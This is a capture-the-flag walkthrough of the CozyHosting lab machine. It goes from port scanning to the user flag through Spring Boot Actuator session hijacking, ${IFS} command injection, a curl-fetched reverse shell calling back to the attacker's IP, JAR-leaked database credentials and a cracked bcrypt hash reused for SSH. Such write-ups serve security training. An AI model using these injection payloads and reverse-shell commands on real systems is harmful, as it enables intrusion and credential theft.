CozyHosting
An exposed Spring Boot Actuator endpoint leaks a live admin session ID for instant dashboard access, an unsanitised username field in a patching form yields command injection (bypassing a whitespace filter with ${IFS}), and hardcoded PostgreSQL credentials inside the application JAR give up a bcrypt hash that cracks to a password reused by a local user for SSH.
Overview
CozyHosting is an easy-difficulty Linux box built around a Java Spring Boot application. The Actuator management module is exposed, and its /actuator/sessions endpoint leaks the session ID of a logged-in admin — letting us hijack the session and reach the admin dashboard. From there, a patching form is vulnerable to command injection, giving a shell as the app service account. The packaged JAR contains hardcoded PostgreSQL credentials; the database holds a bcrypt hash that cracks to a password reused by the local user josh, who we then SSH in as for the user flag. This post covers recon through user.txt.
Machine Matrix
Enumeration-driven Spring Boot box: Actuator session hijack, IFS-bypass command injection, JAR-leaked DB creds and a cracked bcrypt reused for SSH — realistic web misconfigs, no real CVE.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 | Ubuntu, default |
| 80/tcp | nginx 1.18.0 | redirects to cozyhosting.htb |
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.230 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.11.230
Port 80 does not follow a redirect to http://cozyhosting.htb, so add the vhost to /etc/hosts:
1
echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
Browsing to the domain shows a hosting-company marketing site with a /login page.
Enumeration
A directory fuzz turns up a handful of routes:
1
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -t 100
This finds index, login, admin, logout, and error. Browsing to /error returns a Whitelabel Error Page — the tell-tale sign of a Spring Boot application. Re-running the fuzz with a Spring Boot wordlist exposes the Actuator endpoints:
1
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -t 100
Among the results are actuator/health, actuator/env, actuator/mappings, actuator/beans, and — most interestingly — actuator/sessions. The Actuator module is meant for debugging and should never be publicly reachable.
Foothold
Session hijacking via Actuator. The /actuator/sessions endpoint lists every active session ID mapped to its username:
1
curl -s http://cozyhosting.htb/actuator/sessions
This returns a JSESSIONID bound to the user kanderson. A session ID is a bearer token — possessing it is being that user. Setting the leaked JSESSIONID as a cookie (via the browser dev-tools Storage tab) and loading /admin drops us into the dashboard authenticated as K. Anderson.
Command injection in the patching form. The dashboard has an “include host into automatic patching” form taking a hostname and username. Submitting 127.0.0.1 / test returns “Host key verification failed” — the backend is running something like ssh -i id_rsa <username>@<hostname>. The hostname is strictly validated, but the username field is not.
The field rejects whitespace, so we use ${IFS} (the shell’s Internal Field Separator, defaulting to a space) to rebuild a command. First confirm the injection with a callback to a local server:
1
python3 -m http.server 7000
Submit this in the username field:
1
test;curl${IFS}http://10.10.14.49:7000;
A GET request lands on our server — injection confirmed. Now stage a reverse shell:
1
2
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.49/4444 0>&1' > rev.sh
nc -lnvp 4444
Then submit the weaponised payload:
1
test;curl${IFS}http://10.10.14.49:7000/rev.sh|bash;
A shell as app (uid=1001) connects back. Stabilise it:
1
script /dev/null -c bash
Hardcoded DB credentials in the JAR. The shell lands in /app, which contains cloudhosting-0.0.1.jar. A JAR is just a ZIP, so extract it and read the Spring Boot config:
1
2
unzip -d /tmp/app cloudhosting-0.0.1.jar
cat /tmp/app/BOOT-INF/classes/application.properties
The file discloses PostgreSQL credentials postgres:Vg&nvzAQ7XxR. Connect and dump the users table:
1
psql -h 127.0.0.1 -U postgres
1
2
3
\connect cozyhosting
\dt
select * from users;
This yields a bcrypt hash for admin. Identify and crack it:
1
hashcat hash_file -m 3200 /usr/share/wordlists/rockyou.txt
The hash cracks to manchesterunited. Checking /etc/passwd shows a local user josh with a login shell — and the cracked password was reused:
1
ssh [email protected]
User flag
1
2
cat /home/josh/user.txt
# [redacted]
A shell as josh and the user flag are ours.
Privilege escalation (sudo ssh abuse) is left as an exercise — this post stops at user.